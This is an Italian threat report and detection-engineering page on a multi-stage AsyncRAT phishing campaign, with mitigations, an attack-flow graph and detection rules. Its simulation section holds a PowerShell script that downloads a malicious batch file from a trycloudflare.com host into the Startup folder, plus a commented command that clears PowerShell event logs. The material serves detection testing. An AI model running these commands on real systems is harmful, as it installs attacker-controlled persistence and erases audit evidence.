Come l’MDR ha scoperto una catena di attacchi multi-stage AsyncRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Il rapporto descrive una catena di intrusione a più fasi avviata tramite email di phishing che consegnano esche ZIP a doppia estensione e si trasformano in una sequenza di payload ospitati su WebDAV. Gli operatori abusano delle infrastrutture gratuite di Cloudflare e dei componenti Python incorporati per distribuire AsyncRAT sui terminali delle vittime. L’esecuzione e la persistenza si basano sugli strumenti nativi di Windows—Windows Script Host, PowerShell e script batch—mentre la fase finale utilizza l’iniezione di codice in explorer.exe. Reindirizzando la consegna e lo staging tramite servizi cloud ampiamente fidati, l’attività si integra nel traffico normale e può eludere i controlli convenzionali del perimetro.
Indagine
Gli investigatori di Trend Micro hanno riportato telemetria coerente con un flusso di consegna a fasi: recupero di un archivio .pdf.zip da Dropbox, esecuzione di collegamenti .url incorporati e successiva interazione WebDAV attribuita a svchost.exe e rundll32.exe. La catena ha quindi distribuito file incorporati di Python 3.14.0, che sono stati usati per eseguire uno script Python personalizzato responsabile dell’iniezione APC del shellcode di AsyncRAT. La persistenza è stata ottenuta posizionando file batch nella directory di avvio dell’utente. Gli analisti hanno anche identificato e correlato più host TryCloudflare a supporto dell’infrastruttura.
Mitigazione
Riduci l’esposizione formando gli utenti a trattare archivi a doppia estensione e allegati ZIP inaspettati come sospetti e stringendo il filtraggio per i link cloud consegnati via phishing. Blocca o controlla strettamente l’accesso ai servizi di tunneling cloud non autorizzati e monitora un affidamento anormale su WebDAV in ambienti dove è raro. Restringi l’esecuzione di script da directory scrivibili dall’utente e rinforza i controlli sull’uso delle cartelle Startup e sulla creazione di attività pianificate. Dai priorità alle rilevazioni EDR/comportamentali che possono portare alla luce catene di esecuzione guidate da script e tecniche di iniezione del codice che prendono di mira processi benigni.
Risposta
Se viene rilevata un’attività, isola il terminale e interrompi i processi sospetti associati alla catena (in particolare svchost.exe, rundll32.exe e python.exe legati all’incidente). Elimina la persistenza eliminando gli artefatti batch dannosi dalla directory di startup, eradicando gli archivi Python scaricati e qualsiasi componente AsyncRAT, e esegui una scansione forense completa per file di staging e movimenti laterali aggiuntivi. Aggiorna i controlli di rete e le liste di blocco per includere i domini TryCloudflare identificati e qualsiasi infrastruttura associata osservata durante il triage.
“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing[“<b>Azione</b> – <b>T1566.001 Spearphishing Attachment</b>: La vittima riceve un’email di phishing con un allegato con doppia estensione .pdf.url che collega a un archivio Dropbox.”] class attack_phishing action file_shortcut[“<b>File</b> – <b>.url shortcut</b>: Si maschera come una fattura PDF e punta all’archivio Dropbox malevolo.”] class file_shortcut file action_user_exec[“<b>Azione</b> – <b>T1204.002 User Execution</b>: L’utente apre il collegamento, avviando il download iniziale.”] class action_user_exec action file_archive[“<b>File</b> – <b>Archivio Dropbox</b>: Appare come una fattura PDF, contiene i payload di fase successiva.”] class file_archive file action_masquerade[“<b>Azione</b> – <b>T1036.008 Masquerading</b>: Archivio e collegamento mimano file PDF legittimi per evitare sospetti.”] class action_masquerade action tool_wsh[“<b>Strumento</b> – <b>Windows Script Host</b>: File .wsh/.wsf eseguiti per recuperare ulteriori script.”] class tool_wsh tool action_script_proxy[“<b>Azione</b> – <b>T1216 System Script Proxy Execution</b>: Esegue file WSH come proxy per il download di script.”] class action_script_proxy action tool_rundll32[“<b>Strumento</b> – <b>rundll32.exe</b>: Invoca davclnt.dll (DavSetCookie) per comunicare con un server WebDAV.”] class tool_rundll32 tool action_rundll32[“<b>Azione</b> – <b>T1218.011 Rundll32</b>: Usa rundll32 per comunicare con un server WebDAV ospitato su Cloudflare.”] class action_rundll32 action tool_powershell[“<b>Strumento</b> – <b>PowerShell</b>: Scarica lo zip di Python 3.14 integrato, lo estrae e recupera ulteriori file batch.”] class tool_powershell tool action_powershell[“<b>Azione</b> – <b>T1059.001 PowerShell</b>: Esegue comandi PowerShell per il download e l’estrazione.”] class action_powershell action action_hide[“<b>Azione</b> – <b>T1564.001 Hide Artifacts</b>: Archivia i payload in file nascosti nella directory Temp dell’utente.”] class action_hide action file_hidden[“<b>File</b> – <b>File Temp Nascosti</b>: ne.py, new.bin, a.txt posizionati in %TEMP% e marcati come nascosti.”] class file_hidden file action_persistence[“<b>Azione</b> – <b>T1037.001 Logon Script</b>: Posiziona file batch nella cartella Esecuzione Automatica per la persistenza.”] class action_persistence action file_startup[“<b>File</b> – <b>File batch di avvio</b>: ahke.bat e olsm.bat situati nella directory Startup dell’utente.”] class file_startup file action_ingress[“<b>Azione</b> – <b>T1105 Ingress Tool Transfer</b>: Trasferisce componenti malevoli aggiuntivi dal server WebDAV.”] class action_ingress action action_cloudapi[“<b>Azione</b> – <b>T1059.009 Cloud API</b>: Invia richieste HTTP/HTTPS ai domini trycloudflare.com per recuperare i payload finali.”] class action_cloudapi action action_injection[“<b>Azione</b> – <b>T1055.004 Process Injection</b>: Lo script Python ne.py inietta lo shellcode AsyncRAT in explorer.exe tramite iniezione APC.”] class action_injection action process_explorer[“<b>Processo</b> – <b>explorer.exe</b>: Processo target per l’iniezione di shellcode APC.”] class process_explorer process malware_asyncrat[“<b>Malware</b> – <b>AsyncRAT</b>: Lo shellcode iniettato stabilisce uno strumento di accesso remoto.”] class malware_asyncrat malware action_c2[“<b>Azione</b> – <b>T1102.002 Web Service</b>: AsyncRAT comunica bidirezionalmente su HTTPS con l’infrastruttura Cloudflare.”] class action_c2 action %% Connections attack_phishing u002du002d>|fornisce| file_shortcut file_shortcut u002du002d>|aperto dalla vittima attiva| action_user_exec action_user_exec u002du002d>|scarica| file_archive file_archive u002du002d>|usato in| action_masquerade action_masquerade u002du002d>|abilita l’esecuzione di| tool_wsh tool_wsh u002du002d>|esegue come parte di| action_script_proxy action_script_proxy u002du002d>|chiama| tool_rundll32 tool_rundll32 u002du002d>|invoca| action_rundll32 action_rundll32 u002du002d>|prepara l’ambiente per| tool_powershell tool_powershell u002du002d>|esegue| action_powershell action_powershell u002du002d>|archivia file in| action_hide action_hide u002du002d>|crea| file_hidden file_hidden u002du002d>|usato da| action_persistence action_persistence u002du002d>|posiziona| file_startup file_startup u002du002d>|attiva| action_ingress action_ingress u002du002d>|recupera più componenti tramite| action_cloudapi action_cloudapi u002du002d>|fornisce payload a| action_injection action_injection u002du002d>|inietta in| process_explorer process_explorer u002du002d>|ospita| malware_asyncrat malware_asyncrat u002du002d>|comunica tramite| action_c2 “
Flusso di Attacco
Rilevamenti
Download o Upload tramite Powershell (via cmdline)
Visualizza
LOLBAS WScript / CScript (via process_creation)
Visualizza
File Python Creato In Una Directory Insolita (via file_event)
Visualizza
Comunicazione Sospetta con Dominio Trycloudflare (via proxy)
Visualizza
È stata Eseguita un’Operazione Manuale o di Scriptazione in Cartelle Insolite (via cmdline)
Visualizza
Comunicazione Sospetta con Dominio Trycloudflare (via dns)
Visualizza
IOCs (DestinationIP) per rilevare: Analisi di una Campagna Multi-Stadio di AsyncRAT tramite Rilevamento e Risposta Gestiti
Visualizza
IOCs (SourceIP) per rilevare: Analisi di una Campagna Multi-Stadio di AsyncRAT tramite Rilevamento e Risposta Gestiti
Visualizza
Comando PowerShell per Scaricare File Python e Batch per Configurazione e Persistenza dell’Ambiente [Windows Powershell]
Visualizza
Campagna di Phishing che Utilizza Edge e Cmd per Eseguire Script Python per Iniezione di Codice [Windows Process Creation]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Preliminare di Telemetria e Baseline deve essere andato a buon fine.
-
Narrativa di Attacco & Comandi
Un avversario che ha ottenuto accesso iniziale a PowerShell su un host Windows compromesso desidera impostare un ambiente di esecuzione Python e ottenere la persistenza. Lo:
- Scarica la distribuzione incorporata di Python direttamente nella
Temp localedell’utente usandoInvoke‑WebRequest. - Scarica un batch script malevolo (
ahke.bat) da un dominio proxy di Cloudflare alla cartella di avvio dell’utente in modo che si esegua ad ogni accesso. - Esegui lo zip di Python scaricato (omesso qui per brevità) per eseguire ulteriori payload.
Questi passaggi producono esattamente le stringhe di comando corrispondenti alla regola Sigma, generando log di blocchi script PowerShell con il
iwr … -OutFile …pattern. - Scarica la distribuzione incorporata di Python direttamente nella
-
Script di Test di Regressione
# ------------------------------------------------- # Simulazione PowerShell dell'impostazione dell'ambiente AsyncRAT # ------------------------------------------------- # 1. Scarica l'embed zip di Python nella cartella temp utente $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip" iwr $pythonUrl -OutFile $pythonDest # 2. Scarica file batch malevolo su Startup per la persistenza $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat' $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" iwr $batUrl -OutFile $batDest # 3. (Opzionale) Attiva esecuzione del batch per dimostrare la persistenza # Start-Process -FilePath $batDest -WindowStyle Hidden # ------------------------------------------------- -
Comandi di Pulizia
# Rimuovi gli artefatti scaricati Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue # Facoltativamente cancella i log dei blocchi script PowerShell (richiede admin) # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"